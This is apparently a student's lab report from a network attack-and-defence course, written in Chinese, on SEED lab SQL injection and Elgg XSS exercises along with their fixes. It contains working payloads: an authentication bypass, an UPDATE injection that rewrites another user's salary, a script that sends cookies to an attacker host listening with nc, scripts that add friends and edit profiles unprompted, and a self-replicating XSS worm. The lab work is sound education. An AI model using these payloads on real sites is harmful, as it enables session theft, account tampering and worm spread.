20252802 2025-2026-2 《网络攻防实践》实践十报告

1. 实践内容

本次实践围绕 Web 安全两大核心漏洞——SQL 注入(SQL Injection)与跨站脚本攻击(XSS)展开,依托 SEED Ubuntu 16.04 虚拟实验环境,分别完成攻击利用与防御加固两个维度的实验内容。

1.1 SQL 注入攻击与防御实验

  • 熟悉 SQL 语句:登录 MySQL 数据库,查看 Users 数据库中的 credential 表结构及数据,掌握基础查询语法。
  • SELECT 语句注入:分析 unsafe_home.php 源码,利用字符型注入漏洞,构造 Admin'# 等 Payload 绕过登录认证,理解服务端拼接 SQL 语句的安全风险。
  • UPDATE 语句注入:分析 unsafe_edit_backend.php 源码,在 nickname 字段注入恶意片段,闭合原 SQL 语句并篡改 WHERE 条件,实现越权修改其他用户(如 Admin)的薪资数据。
  • 漏洞修复与防御:采用预编译语句(Prepared Statements)重构 unsafe_home.php 与 unsafe_edit_backend.php,将数据与代码分离,验证修复后原有注入 Payload 失效。

1.2 XSS 跨站脚本攻击实验(Elgg 平台)

  • 反射/存储型 XSS 验证:在 Alice 个人资料的 Brief description 中注入 ,验证 Elgg 默认配置下存在存储型 XSS。
  • Cookie 信息窃取:通过 alert(document.cookie) 弹窗展示会话凭证,并进一步利用 标签外带 Cookie 至攻击机 NC 监听端口(5555),实现隐蔽窃取。
  • CSRF 与 XSS 结合利用:分析 Elgg 添加好友的 Ajax 请求参数,构造 XSS 脚本自动伪造 friend=45 的 GET 请求,使访问 Alice 主页的 Boby 自动添加 Alice 为好友。
  • 受害者资料篡改:构造 POST 请求脚本,在 Boby 访问 Alice 页面时静默修改其个人简介为 "Hacked by 20252802mmy"。
  • XSS 蠕虫编写:利用 document.getElementById("worm").innerHTML 获取自身脚本代码,通过 encodeURIComponent 编码后写入受害者资料,实现蠕虫的跨用户自我传播。
  • XSS 防御:以管理员身份登录 Elgg 后台,启用 HTMLawed 插件对富文本输入进行过滤清洗,验证恶意 <script> 标签被成功拦截。

2. 实践过程

2.1 实验环境准备

本次实验依托 SEEDUbuntu 虚拟机开展。由于早期版本的 Seed Ubuntu 9 存在组件老化及数据库缺失问题,我最终选用了 Seed Ubuntu 16.04 版本。根据实验考核规范,需将系统主机名更改为本人姓名拼音。

修改系统主机名配置文件:

sudo vim /etc/hostname

将内容替换为MMY


0.98

同步更新 hosts 映射文件:

sudo vim /etc/hosts

将 127.0.1.1 对应的主机名修改为 dyf。


0.98

2.2 SEED SQL 注入攻击与防御实验

2.2.1 熟悉 SQL 语句

首先通过命令行接入 MySQL 数据库:

mysql -u root -p

0.98


查看系统现有的数据库列表:

show databases;

0.98

切换至目标数据库并查看数据表:

use Users;
show tables;

0.98

检索 credential 表中的全量员工数据:

select * from credential;

0.98

针对特定用户(如 Boby)进行条件查询:

select * from credential where Name = 'Boby';

0.82

2.2.2 对 SELECT 语句的 SQL 注入攻击

本环节旨在绕过登录认证。访问 www.SEEDLabSQLInjection.com,在登录框随意输入数据并按 F12 抓取网络请求。


0.78


0.78

分析请求可知,后端处理逻辑位于 unsafe_home.php。查看其源码:

cd /var/www/SQLInjection/
cat unsafe_home.php

0.78

源码显示,后端直接将用户输入拼接到 SQL 语句中,未做任何转义或参数化绑定,导致典型的字符型注入漏洞。


0.87

在用户名输入框构造 Payload:

Admin'#

密码框随意输入(如 123)。


0.78

这里的注入原理是Admin‘用于闭合 SQL 语句中原来的用户名字符串,

而#用于注释掉后面的密码判断部分。

因此原本需要同时判断用户名和密码的 SQL 语句,被修改为只判断用户名是否为 Admin。只要数据库中存在 Admin 用户,就可以绕过密码验证。

点击登录后,可以看到成功进入系统。

0.78


2.2.3 对 UPDATE 语句的 SQL 注入攻击

首先进入个人资料编辑页面,随意修改某个字段并保存,同时使用浏览器开发者工具观察请求过程。

0.43

后端处理文件为 unsafe_edit_backend.php,查看其核心 UPDATE 逻辑:

cd /var/www/SQLInjection/
cat unsafe_edit_backend.php

0.85


由于 nickname 等字段直接参与 SQL 拼接,我们可以在 nickname 输入框注入恶意片段:

',Salary='20252802' where name='Admin'#

提交保存后,返回数据库验证 Admin 用户的薪资是否被篡改:


0.84

结果表明,攻击者可通过构造闭合语句,改变 UPDATE 的作用域,实现越权数据篡改。

2.2.4 SQL 对抗:修复 SQL 注入攻击漏洞

漏洞的根源在于“数据与代码未分离”。最有效的防御方案是采用预编译语句。

修复资料修改接口的 UPDATE 注入。修改 unsafe_edit_backend.php:

sudo vim /var/www/SQLInjection/unsafe_edit_backend.ph

将代码中的 UPDATE 逻辑替换为:

  if($input_pwd!=''){
  // In case password field is not empty.
  $hashed_pwd = sha1($input_pwd);
  //Update the password stored in the session.
  $_SESSION['pwd']=$hashed_pwd;

  $stmt = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,Password=?,PhoneNumber=? where ID=?;");
  if (!$stmt) {
    die("Prepare failed: " . $conn->error);
  }
  $stmt->bind_param("sssssi", $input_nickname, $input_email, $input_address, $hashed_pwd, $input_phonenumber, $id);
}else{
  // if passowrd field is empty.
  $stmt = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=?;");
  if (!$stmt) {
    die("Prepare failed: " . $conn->error);
  }
  $stmt->bind_param("ssssi", $input_nickname, $input_email, $input_address, $input_phonenumber, $id);
}

if (!$stmt->execute()) {
  die("Execute failed: " . $stmt->error);
}
$stmt->close();
$conn->close();
header("Location: unsafe_home.php");
exit();


0.78


防御验证:undefined再次尝试在 nickname栏修改,数据库中的薪资数据保持不变,昵称正常显示。


0.78


0.78

接着登录unsafe_home.php并修改代码:

sudo vim /var/www/SQLInjection/unsafe_home.ph

将 unsafe_home.php 中的查询逻辑重构为预编译模式:

// Sql query to authenticate the user
$stmt = $conn->prepare("SELECT id, name, eid, salary,birth, ssn, phoneNumber,address,email,nickname,Password From credential WHERE name=? and Password=?;");

if (!$stmt) {
  echo "</div>";
  echo "</nav>";
  echo "<div class='container text-center'>";
  die('There was an error preparing the query [' . $conn->error . ']\n');
  echo "</div>";
}

$stmt->bind_param("ss", $input_uname, $hashed_pwd);
$stmt->execute();
$result = $stmt->get_result();


undefined

修改后如下图所示


0.78

修改之后可以看出再用原来的Admin'#账号进不去网站了,修复成功

undefined

2.3 SEED XSS 跨站脚本攻击实验 Elgg

2.3.1 发布恶意消息,显示警报窗口

访问 http://www.xsslabelgg.com,使用 Alice 账号,密码seedalice登录。


0.78

进入个人主页,点击 Edit profile,在 Brief description 字段注入基础 JS 代码:

<script>alert("20252802mmy");</script>

0.78


保存后页面立即弹出警告框,证实 Elgg 默认配置下存在存储型 XSS 漏洞。


0.78

将注入代码修改为读取当前会话 Cookie:

<script>alert(document.cookie);</script>

0.78

undefined

刷新页面后,弹窗展示了包含 Elgg 会话标识的 Cookie 字符串。这表明 XSS 可直接窃取客户端敏感凭证。

2.3.3 窃取受害者的 Cookies

在攻击机终端开启 NC 监听(端口可自定义,此处使用 5555):

nc -l 5555 -v

0.78


在 Alice 的资料中植入外带 Cookie 的 Payload:

<script>
document.write('<img src=http://192.168.200.18:5555?c=' + escape(document.cookie) + '>');
</script>

0.78


0.78

切换至 Boby 账号(密码:seedboby)并访问 Alice 的主页。


0.78

此时回到攻击机终端,NC 成功接收到了 Boby 的 Cookie 数据。


0.83

2.3.4 成为受害者的朋友

利用 XSS 伪造 Ajax 请求,实现自动添加好友。首先手动添加一次好友并抓包,获取目标接口及参数(如 friend=45)。

先移除好友


0.78

undefined

在 Alice 的 About me 中植入自动加好友脚本:

<script type="text/javascript">
window.onload = function () {
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
    var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=45" + ts + token;
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
}
</script>

0.78


使用 Boby 访问 Alice 主页后,查看 Boby 的好友列表,发现 Alice 已被自动添加为好友。

访问前

1.00

访问后

1.00

2.3.5 修改受害者的信息

构造 POST 请求,在受害者访问页面时静默篡改其个人资料。在 Alice 的 About me 中注入以下代码:

<script type="text/javascript">
window.onload = function(){
    var userName = elgg.session.user.name;
    var guid = "&guid=" + elgg.session.user.guid;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
    
    var content = token + ts + "&name=" + userName + "&description=<p>Hacked by 20252802mm</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
    
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
    var aliceGuid = 44; // Alice的GUID
    
    if(elgg.session.user.guid != aliceGuid){
        var Ajax = new XMLHttpRequest();
        Ajax.open("POST", sendurl, true);
        Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>

1.00

Boby 访问该页面后,其个人简介被强制修改为 "Hacked by 20252802 mmy"。


1.00

2.3.6 编写 XSS 蠕虫

为了实现跨用户传播,需让脚本在修改受害者资料时,将自身代码也写入受害者的资料中。在 Alice 页面注入蠕虫代码:

<script id="worm" type="text/javascript">
window.onload = function(){
    var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
    var jsCode = document.getElementById("worm").innerHTML;
    var tailTag = "</" + "script>";
    var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
    var userName=elgg.session.user.name;
    var guid="&guid="+elgg.session.user.guid;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
    var content= token + ts + "&name=" + userName + "&description=<p>20252802mmy"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
    alert(content)
    var aliceGuid=44;

    if(elgg.session.user.guid!=aliceGuid){
        var Ajax=null;
        Ajax=new XMLHttpRequest();
        Ajax.open("POST",sendurl,true);
        Ajax.setRequestHeader("Host","www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>

1.00


Boby 访问后,其资料不仅被修改,且源码中已包含完整的蠕虫脚本。当其他用户访问 Boby 时,感染将继续扩散。

undefined

2.3.7 对抗 XSS 攻击

使用管理员账号(admin / seedelgg)登录 Elgg 后台 www.xsslabelgg.com/admin。


1.00

进入 Plugins 菜单,找到 HTMLawed 插件并将其状态切换为 Deactivate(即启用过滤功能)。


1.00


再次使用 Alice 账号在资料中输入 ,保存后访问页面,弹窗未再出现,恶意标签被成功清洗。


1.00


3. 学习中遇到的问题及解决

1.实验环境版本不匹配:早期 Seed Ubuntu 9 存在组件老化及数据库缺失问题,无法正常启动 MySQL 或访问实验站点。通过查阅 SEED Lab 官方文档,更换为 Seed Ubuntu 16.04 版本,该版本预装了完整的 LAMP 环境与实验所需数据库,问题得以解决。

2.SQL 注入 Payload 失效:初期在用户名框输入 Admin'# 后未能成功绕过登录,页面返回报错。检查 unsafe_home.php 源码中的 SQL 拼接逻辑,确认字段使用单引号包裹后,将 Payload 修正为 Admin' #,确保正确闭合并注释掉后续密码判断,最终成功绕过认证。

3.UPDATE 注入后数据未变化:在 nickname 栏注入后 Admin 薪资未更新。重新查看 unsafe_edit_backend.php 的 SQL 拼接结构,发现原语句中引号闭合不完整。修正 Payload 语法后重新提交,验证成功。

4. 实践总结

通过本次 SEED Lab 实验,我对 SQL 注入与 XSS 两大 Web 安全漏洞有了系统深入的理解。SQL 注入的本质在于数据与代码未分离,攻击者通过构造特殊字符改变查询逻辑,实现认证绕过与越权篡改;而 XSS 则是利用浏览器对不可信数据的盲目执行,造成会话窃取、强制操作乃至蠕虫传播。防御层面,预编译语句通过参数绑定从根本上杜绝了 SQL 注入,HTMLawed 等输入过滤插件则有效拦截了恶意脚本。本次实践让我深刻认识到,安全需在开发阶段前置考虑,攻防结合才能构建有效的纵深防御体系,也为后续渗透测试与安全开发学习奠定了坚实基础。

posted @ 2026-06-02 22:26  眠绵雨  阅读(34)  评论(0)    收藏  举报